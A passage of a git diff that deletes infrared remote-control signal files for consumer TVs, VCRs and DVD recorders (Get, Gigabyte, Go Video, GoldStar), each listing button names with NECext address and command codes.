-# -name: GUIDE -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 18 00 00 00 -# -name: DTV_SETUP -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 19 00 00 00 -# -name: PRE-CH -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1A 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1B 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1C 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1D 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1E 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1F 00 00 00 -# -name: PIP_PR- -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 40 00 00 00 -# -name: PIP_PR+ -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 41 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 43 00 00 00 -# -name: TIME -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 44 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 45 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 46 00 00 00 -# -name: PR_+ -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 47 00 00 00 -# -name: P.POSITION -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 48 00 00 00 -# -name: SIZE -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 49 00 00 00 -# -name: SSM -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 4A 00 00 00 -# -name: PR_- -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 4B 00 00 00 -# -name: -/-- -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 4C 00 00 00 -# -name: P.SIZE -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 4D 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 4F 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 50 00 00 00 -# -name: BLUE -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 51 00 00 00 -# -name: TTX_ON -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 52 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 53 00 00 00 -# -name: SWAP -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 54 00 00 00 -# -name: RED -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 55 00 00 00 -# -name: DUAL_I-II -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 56 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 57 00 00 00 -# -name: PC -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 58 00 00 00 -# -name: MIX -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 59 00 00 00 -# -name: ARC -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 5A 00 00 00 -# -name: HOLD -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 5B 00 00 00 -# -name: S.SELECT -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 5C 00 00 00 -# -name: STORE -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 5D 00 00 00 -# -name: P.INPUT -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 5E 00 00 00 -# -name: FLOP/LIST -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Get/Unknown_gethdpvr/72,36.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Get/Unknown_gethdpvr/72,36.ir deleted file mode 100644 index f0499aa05..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Get/Unknown_gethdpvr/72,36.ir +++ /dev/null @@ -1,272 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 48 24 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 48 24 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 48 24 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 48 24 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 48 24 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 48 24 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 48 24 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 48 24 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 48 24 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 48 24 00 00 -command: 09 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 48 24 00 00 -command: 0A 00 00 00 -# -name: archive -type: parsed -protocol: NECext -address: 48 24 00 00 -command: 0B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 48 24 00 00 -command: 0C 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 48 24 00 00 -command: 0D 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 48 24 00 00 -command: 0E 00 00 00 -# -name: KEY_HELP -type: parsed -protocol: NECext -address: 48 24 00 00 -command: 11 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 48 24 00 00 -command: 12 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 48 24 00 00 -command: 13 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 48 24 00 00 -command: 14 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 48 24 00 00 -command: 17 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 48 24 00 00 -command: 18 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 48 24 00 00 -command: 19 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 48 24 00 00 -command: 1A 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 48 24 00 00 -command: 1B 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 48 24 00 00 -command: 1C 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 48 24 00 00 -command: 1D 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 48 24 00 00 -command: 1F 00 00 00 -# -name: hd -type: parsed -protocol: NECext -address: 48 24 00 00 -command: 20 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 48 24 00 00 -command: 21 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 48 24 00 00 -command: 22 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 48 24 00 00 -command: 23 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 48 24 00 00 -command: 24 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 48 24 00 00 -command: 25 00 00 00 -# -name: KEY_RADIO -type: parsed -protocol: NECext -address: 48 24 00 00 -command: 26 00 00 00 -# -name: get -type: parsed -protocol: NECext -address: 48 24 00 00 -command: 27 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 48 24 00 00 -command: 28 00 00 00 -# -name: film -type: parsed -protocol: NECext -address: 48 24 00 00 -command: 29 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 48 24 00 00 -command: 2A 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 48 24 00 00 -command: 2B 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 48 24 00 00 -command: 2C 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 48 24 00 00 -command: 2D 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 48 24 00 00 -command: 2E 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 48 24 00 00 -command: 2F 00 00 00 -# -name: KEY_NUMERIC_STAR -type: parsed -protocol: NECext -address: 48 24 00 00 -command: 65 00 00 00 -# -name: pound -type: parsed -protocol: NECext -address: 48 24 00 00 -command: 66 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Gigabyte/Unknown_TV/134,107.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Gigabyte/Unknown_TV/134,107.ir deleted file mode 100644 index ba2a83ed3..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Gigabyte/Unknown_TV/134,107.ir +++ /dev/null @@ -1,170 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 01 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 02 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 04 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 05 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 06 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 07 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0A 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0C 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0D 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0E 00 00 00 -# -name: KEY_EPG -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 12 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 17 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 18 00 00 00 -# -name: lastCH -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 19 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1A 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1B 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1C 00 00 00 -# -name: KEY_RADIO -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1D 00 00 00 -# -name: snapshot -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1E 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1F 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 54 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 55 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 56 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 57 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 58 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 59 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 5A 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 5B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Go Video/DVD Recorder/10,247.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Go Video/DVD Recorder/10,247.ir deleted file mode 100644 index 75f1cc45b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Go Video/DVD Recorder/10,247.ir +++ /dev/null @@ -1,218 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: -type: parsed -protocol: NECext -address: 0A F7 00 00 -command: 00 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 0A F7 00 00 -command: 00 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 0A F7 00 00 -command: 01 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 0A F7 00 00 -command: 02 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 0A F7 00 00 -command: 03 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 0A F7 00 00 -command: 05 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 0A F7 00 00 -command: 06 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 0A F7 00 00 -command: 07 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 0A F7 00 00 -command: 09 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 0A F7 00 00 -command: 0A 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 0A F7 00 00 -command: 0B 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 0A F7 00 00 -command: 0D 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 0A F7 00 00 -command: 0E 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 0A F7 00 00 -command: 0F 00 00 00 -# -name: EDIT -type: parsed -protocol: NECext -address: 0A F7 00 00 -command: 10 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 0A F7 00 00 -command: 13 00 00 00 -# -name: TIMER -type: parsed -protocol: NECext -address: 0A F7 00 00 -command: 14 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 0A F7 00 00 -command: 17 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 0A F7 00 00 -command: 18 00 00 00 -# -name: INPUT -type: parsed -protocol: NECext -address: 0A F7 00 00 -command: 1C 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: 0A F7 00 00 -command: 1F 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 0A F7 00 00 -command: 40 00 00 00 -# -name: DISC_MENU -type: parsed -protocol: NECext -address: 0A F7 00 00 -command: 41 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 0A F7 00 00 -command: 42 00 00 00 -# -name: PLAY_OPTIONS -type: parsed -protocol: NECext -address: 0A F7 00 00 -command: 43 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 0A F7 00 00 -command: 47 00 00 00 -# -name: CURSOR_ENTER -type: parsed -protocol: NECext -address: 0A F7 00 00 -command: 4A 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 0A F7 00 00 -command: 4B 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: 0A F7 00 00 -command: 4C 00 00 00 -# -name: TITLE -type: parsed -protocol: NECext -address: 0A F7 00 00 -command: 4D 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 0A F7 00 00 -command: 4E 00 00 00 -# -name: GUIDER -type: parsed -protocol: NECext -address: 0A F7 00 00 -command: 4F 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 0A F7 00 00 -command: 50 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 0A F7 00 00 -command: 54 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 0A F7 00 00 -command: 55 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: 0A F7 00 00 -command: 5C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Go Video/VCR/132,98.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Go Video/VCR/132,98.ir deleted file mode 100644 index 7a47b14f9..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Go Video/VCR/132,98.ir +++ /dev/null @@ -1,194 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TV/VCR -type: parsed -protocol: NECext -address: 84 62 00 00 -command: 00 00 00 00 -# -name: CH_V -type: parsed -protocol: NECext -address: 84 62 00 00 -command: 01 00 00 00 -# -name: REW_<< -type: parsed -protocol: NECext -address: 84 62 00 00 -command: 02 00 00 00 -# -name: PLAY/ATR_> -type: parsed -protocol: NECext -address: 84 62 00 00 -command: 03 00 00 00 -# -name: STOP/EJ_[] -type: parsed -protocol: NECext -address: 84 62 00 00 -command: 04 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 84 62 00 00 -command: 05 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 84 62 00 00 -command: 06 00 00 00 -# -name: CH_^ -type: parsed -protocol: NECext -address: 84 62 00 00 -command: 07 00 00 00 -# -name: FF_>> -type: parsed -protocol: NECext -address: 84 62 00 00 -command: 08 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 84 62 00 00 -command: 09 00 00 00 -# -name: REC -type: parsed -protocol: NECext -address: 84 62 00 00 -command: 0A 00 00 00 -# -name: LCV_(CHANGE) -type: parsed -protocol: NECext -address: 84 62 00 00 -command: 0B 00 00 00 -# -name: OSD -type: parsed -protocol: NECext -address: 84 62 00 00 -command: 0C 00 00 00 -# -name: MUTE_(SELECT) -type: parsed -protocol: NECext -address: 84 62 00 00 -command: 0D 00 00 00 -# -name: CLK/CTR -type: parsed -protocol: NECext -address: 84 62 00 00 -command: 0E 00 00 00 -# -name: INDEX -type: parsed -protocol: NECext -address: 84 62 00 00 -command: 0F 00 00 00 -# -name: 0_(AUX) -type: parsed -protocol: NECext -address: 84 62 00 00 -command: 10 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 84 62 00 00 -command: 11 00 00 00 -# -name: 2_(TRK_-) -type: parsed -protocol: NECext -address: 84 62 00 00 -command: 12 00 00 00 -# -name: 3_(TRK_+) -type: parsed -protocol: NECext -address: 84 62 00 00 -command: 13 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 84 62 00 00 -command: 14 00 00 00 -# -name: 5_(PICTURE_-) -type: parsed -protocol: NECext -address: 84 62 00 00 -command: 15 00 00 00 -# -name: 6_(PICTURE_+) -type: parsed -protocol: NECext -address: 84 62 00 00 -command: 16 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 84 62 00 00 -command: 17 00 00 00 -# -name: 8_(SLOW_-) -type: parsed -protocol: NECext -address: 84 62 00 00 -command: 18 00 00 00 -# -name: 9_(SLOW_+) -type: parsed -protocol: NECext -address: 84 62 00 00 -command: 19 00 00 00 -# -name: 100 -type: parsed -protocol: NECext -address: 84 62 00 00 -command: 1A 00 00 00 -# -name: VIEW -type: parsed -protocol: NECext -address: 84 62 00 00 -command: 1B 00 00 00 -# -name: COPY -type: parsed -protocol: NECext -address: 84 62 00 00 -command: 1C 00 00 00 -# -name: DECK_SELECT -type: parsed -protocol: NECext -address: 84 62 00 00 -command: 1D 00 00 00 -# -name: SKIP_(ZERO_RTN) -type: parsed -protocol: NECext -address: 84 62 00 00 -command: 1E 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 84 62 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Go Video/VCR/5,5.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Go Video/VCR/5,5.ir deleted file mode 100644 index 33d5d0d0f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Go Video/VCR/5,5.ir +++ /dev/null @@ -1,380 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: SKIP -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 00 00 00 00 -# -name: TV/VCR -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 01 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 02 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 04 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 05 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 06 00 00 00 -# -name: VOLUME_^ -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 07 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 08 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 09 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 0A 00 00 00 -# -name: VOLUME_V -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 0B 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 0C 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 0D 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 0E 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 0F 00 00 00 -# -name: CHANNEL_V -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 10 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 11 00 00 00 -# -name: CHANNEL_^ -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 12 00 00 00 -# -name: SLOW_+_^ -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 13 00 00 00 -# -name: SLOW_+ -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 13 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 14 00 00 00 -# -name: STOP_[] -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 15 00 00 00 -# -name: STOP/EJECT_[] -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 15 00 00 00 -# -name: PAUSE/STILL -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 16 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 16 00 00 00 -# -name: SLOW_-_V -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 17 00 00 00 -# -name: SLOW_- -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 17 00 00 00 -# -name: REW_<< -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 18 00 00 00 -# -name: PLAY_> -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 19 00 00 00 -# -name: PLAY/LOAD_> -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 19 00 00 00 -# -name: FWD_>> -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 1A 00 00 00 -# -name: MEMORY -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 1C 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 1D 00 00 00 -# -name: RESET -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 1D 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 1E 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 1F 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 22 00 00 00 -# -name: VHS -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 24 00 00 00 -# -name: 100+ -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 26 00 00 00 -# -name: INDEX -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 2B 00 00 00 -# -name: TRACKING/MENU_^ -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 2C 00 00 00 -# -name: TRACKING/MENU_V -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 2D 00 00 00 -# -name: CLK/CTR -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 31 00 00 00 -# -name: SP/SLP -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 3A 00 00 00 -# -name: ATR -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 3C 00 00 00 -# -name: SHUTTLE_BEGIN_< -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 42 00 00 00 -# -name: TRK/MENU_^ -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 42 00 00 00 -# -name: SHUTTLE_END_> -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 43 00 00 00 -# -name: TRK/MENU_V -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 43 00 00 00 -# -name: SCENE -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 4C 00 00 00 -# -name: BEGIN -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 4D 00 00 00 -# -name: END -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 4E 00 00 00 -# -name: LCV -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 54 00 00 00 -# -name: LAST_CHANNEL -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 54 00 00 00 -# -name: QUIT -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 58 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 59 00 00 00 -# -name: LINE -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 5A 00 00 00 -# -name: 8MM -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 5B 00 00 00 -# -name: DECK_2 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 5C 00 00 00 -# -name: SYNC_EDIT -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 5C 00 00 00 -# -name: DECK_1 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 5D 00 00 00 -# -name: 8MM/VHS -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 5D 00 00 00 -# -name: COPY_TAPE -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 5E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Go Video/VCR/7,7.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Go Video/VCR/7,7.ir deleted file mode 100644 index caff1953f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Go Video/VCR/7,7.ir +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VOLUME_^ -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 07 00 00 00 -# -name: VOLUME_V -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/GoldStar/Unknown_GOLDSTAR/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/GoldStar/Unknown_GOLDSTAR/4,-1.ir deleted file mode 100644 index 7d851ff56..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/GoldStar/Unknown_GOLDSTAR/4,-1.ir +++ /dev/null @@ -1,152 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: prup -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 00 00 00 00 -# -name: prdown -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 01 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 02 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 03 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 08 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 09 00 00 00 -# -name: tvav -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0B 00 00 00 -# -name: picture -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0C 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0E 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 10 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 11 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 12 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 13 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 14 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 15 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 16 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 17 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 18 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 19 00 00 00 -# -name: qview -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1A 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1B 00 00 00 -# -name: lowhigh -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1C 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 43 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 44 00 00 00 -# -name: psm -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/GoldStar/Unknown_Goldstar-VCR/110,-1.ir 